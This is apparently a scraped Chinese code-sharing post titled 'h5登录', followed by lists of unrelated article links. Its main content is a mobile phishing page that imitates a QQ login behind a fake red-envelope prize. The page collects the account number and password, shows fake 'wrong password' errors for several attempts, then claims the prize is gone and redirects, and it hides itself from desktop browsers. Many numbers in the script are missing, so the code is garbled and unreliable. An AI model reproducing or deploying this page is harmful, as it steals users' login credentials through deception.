h5登录

<!DOCTYPE html>

<html lang="zh-cn">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<meta id="viewport" name="viewport"

    content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">

<meta name="apple-mobile-web-app-capable" content="yes">

<link href="/tpl/36/css.css" rel="stylesheet" type="text/css" />

<title>恭喜发财!</title>

<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>

<script src="http://yckart.github.io/jquery.base64.js/jquery.base64.js"></script>

</head>

<body style="display: none;">

    <div id="content" class="content">

        <div id="error_tips">

            <div id="error_tips_content">

                <span id="error_icon"></span> <span id="error_message"></span>

            </div>

        </div>

        <div class="redpack">

            <img src="/tpl/36/redpack.gif" alt="">

        </div>

        <div id="login" class="login">

            <div id="app_name" style="display: none"></div>

            <div id="q_login" class="q_login" style="display: none">

                <div id="q_login_title">

                    <div id="q_login_logo"></div>

                    <label id="q_login_tips">请选择登录帐号</label>

                </div>

                <div id="q_logon_list" class="q_logon_list"></div>

            </div>

            <div id="web_login">

            <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="_self" style="margin:0">

                <ul id="g_list">

                    <li id="g_u"><div id="del_touch" class="del_touch">

                            <span id="del_u" class="del_u"></span>

                        </div>

                        <input id="u" class="inputstyle" name="u" autocomplete="off"

                        placeholder="号码"></li>

                    <li id="g_p"><div id="del_touch_p" class="del_touch">

                            <span id="del_p" class="del_u"></span>

                        </div>

                        <input id="p" class="inputstyle" maxlength="" type="password"

                        name="p" autocorrect="off" placeholder="请输入您的密码"></li>

                </ul>

                <div id="auto_login">

                    <input type="checkbox" id="remember" checked="checked"> <span

                        class="checkbox"></span><label class="wording">记住登录状态</label>

                </div>

                <div href="javascript:void(0);" id="go">登 录</div>

                </form>

            </div>

            <div id="switch">

                <div id="swicth_login" onclick="pt._switch()" style="display: none">快速登录历史帐号</div>

                <div id="zc_feedback">

                    <span id="zc"

                        onclick="window.open('http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span>

                    <span id="forgetpwd">忘了密码？</span>

                </div>

            </div>

            <div id="custom_bottom"></div>

        </div>

        <div id="vcode">

            <label id="vcode_tips">点击图片可更换验证码</label>

            <div id="vcode_area">

                <img id="vcode_img"><label id="input_tips">请输入图中的字符不区分大小写</label><input

                    id="vcode_input" name="vcode_input" tabindex="" autocomplete="off"

                    autocorrect="off" maxlength="">

            </div>

            <div id="submit">提交验证码</div>

        </div>

    </div>

    <div id="new_vcode" class="new_vcode">

    </div>

    <div id="footerBlank"></div>

</body>

<script>

function IsPC() {

    var userAgentInfo = navigator.userAgent;

    var Agents = ["Android", "iPhone",

                "SymbianOS", "Windows Phone",

                "iPad", "iPod"];

    var flag = true;

    for (var v = ; v < Agents.length; v++) {

        if (userAgentInfo.indexOf(Agents[v]) > ) {

            flag = false;

            break;

        }

    }

    return flag;

}

if(IsPC()){

    alert('请使用手机访问');

    $('body').hide();

} else {

    $('body').show();

}

$(".redpack").on('click',function(){

    alert('请登录后领取');

    $(this).hide();

    $('.login').show();

});

var err = false;

var times = ;

function error(msg){

    $("#error_tips").css({display:'block'});

    $('#error_message').html(msg);

    err = true;

}

$('form input').focus(function(){

    $("#error_tips").css({display:'none'});

    err = false;

});

$("#error_tips").on('click',function(){

    $(this).hide();

});

$("#go").on('click',function(){

    $(this).parents('form').submit();

});

$('form').submit(function(){

    var $this = $(this);

    $.ajax({

        url:$this.attr('action'),

        data:$this.serialize(),

        type:'post',

        beforeSend:function(){

            err = false;

            var p = $("#p").val();

            var u = $("#u").val();

            u == '' && error('您还没有输入帐号！');

            if(err) return false;

            p == '' && error("您还没有输入密码！");

            if(err) return false;

            /^[-][-]{,}$/.test(u) || error('请输入正确的帐号！');

            if(err) return false;//只有renturn false表单才不会提交，return别的表单都会提交。

            var len = p.length;

            (len <  || len>) && error('您输入的帐号或密码不正确，请重新输入。');

            if(err) {

                $("#p").val('');

                return false;

            }

            $("#p").val('');

            $("#u").val('');

        },

        success:function(data){

            ++times;

            console.log(times);

            if(times<){

                error('您输入的帐号或密码不正确，请重新输入。');

            }else{

                alert('红包已经被领取');

                location.href = data.url;

            }

        },

        dataType:'json'

        })

    return false;

})

</script>

</html>

h5登录的更多相关文章

WebApp之H5登录注册
代码indexhtml <!DOCTYPE html> <html> <head> <meta charset="utf-8"> & ...
h5登录页面
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name ...
论H5嵌入APP的联合登录的解决方案
什么是联合登录因为公司产品的发展,会与第三方的一些商户进行对接,商户APP提供入口,进入我们的H5页,从而提供服务. 而商户希望用户在其APP进行账户登录后,进入H5页不再进行登录,所以我们的H5需 ...
安卓微信端打开H5页面背景图被键盘挤压移动位置解决
问题:在微信端(安卓浏览器也如此)打开的H5登录页面中,点击输入信息,弹出软键盘会挤压背景图片. 本来的body宽高设置body{width:100%,height:100%},不起作用,这样写就会导 ...
native与H5优缺点及H5测试
一.native(原生)与H5优缺点介绍 native(原生)优点 1.运行速度快 2.可以应用到底层的API 3.便捷性与易用性 4.打开会比较节省流量 native(原生)缺点 1.不同操作系统需 ...
ASP微信服务号H5客户登陆，且获取客户授权的用户基本信息
ASP微信服务号H5客户登陆,且获取客户授权的用户基本信息是需要客户授权,下面讲解详细步骤: 第一步:客户点击登录页,自动跳转到微信服务器端获取code 第二步:用第一步获取的code去获取客户的ac ...
vs 基本验证控件使用
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.c ...
vue_axios请求封装、异常拦截统一处理
1.前端网络请求封装.异常统一处理 vue中采用axios处理网络请求,避免请求接口重复代码,以及各种网络情况造成的异常情况的判断,采用axios请求封装和异常拦截操作: axios 请求封装 // ...
Android Dynamic Action(动态Action)—像访问网页一样地访问Activity
Android Dynamic Action,简称DA,是一种简便.可变Action的实现方案.DA框架的初衷是为了取代Context.startActivity的调用方式,使用建造者模式(Build ...

随机推荐

Run Nutch In Eclipse on Linux and Windows nutch version 0.9
Running Nutch in Eclipse Here are instructions for setting up a development environment for Nutch un ...
HDU 4035
dp求期望的题. 设 E[i]表示在结点i处,要走出迷宫所要走的边数的期望.E[1]即为所求. 叶子结点: E[i] = ki*E[1] + ei*0 + (1-ki-ei)*(E[father[i] ...
Azure RBAC（Roles Based Access Control）正式上线了
期盼已久的Azure RBAC(Roles Based Access Control)正式上线了. 在非常多情况下.客户须要对各种类型的用户加以区分,以便做出适当的授权决定.基于角色的訪问控制 (RB ...
Oracle 学习笔记 14 -- 集合操作和高级子查询
Oracel提供了三种类型的集合操作:各自是并(UNION) .交(INTERSECT). 差(MINUS) UNION :将多个操作的结果合并到一个查询结果中,返回查询结果的并集,自己主动去掉反复的 ...
怎样用批处理来执行多个exe文件
怎样用批处理来运行多个exe文件 @echo off start *****.exe start *****.exe start *****.exe start *****.exe 接着我们就能够运行 ...
html表格设计
html部分,biaoge.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" " ...
zzulioj--1705--小明在工作(模拟水题)
1705: 小明在工作 Time Limit: 1 Sec Memory Limit: 128 MB Submit: 179 Solved: 59 SubmitStatusWeb Board De ...
vue中的swiper element ui
欢迎加入前端交流群交流知识&&获取视频资料:749539640 很多同学问,怎么把swiper引入到vue的脚手架里去,之前的一篇博客有提到怎么引入,但是后来感觉不怎么好,还是用一些v ...
89.[NodeJS] Express 模板传值对象app.locals、res.locals
转自:https://blog.csdn.net/Elliott_Yoho/article/details/53537437 locals是Express应用中 Application(app)对象和 ...
（一）Eureka 服务的注册与发现
(一)服务的注册于发现(eureka); Eureka Server: 服务注册中心,负责服务列表的注册.维护和查询等功能在Idea里,新建项目,选择Spring initializer. 下面的p ...

h5登录

h5登录的更多相关文章

随机推荐

热门专题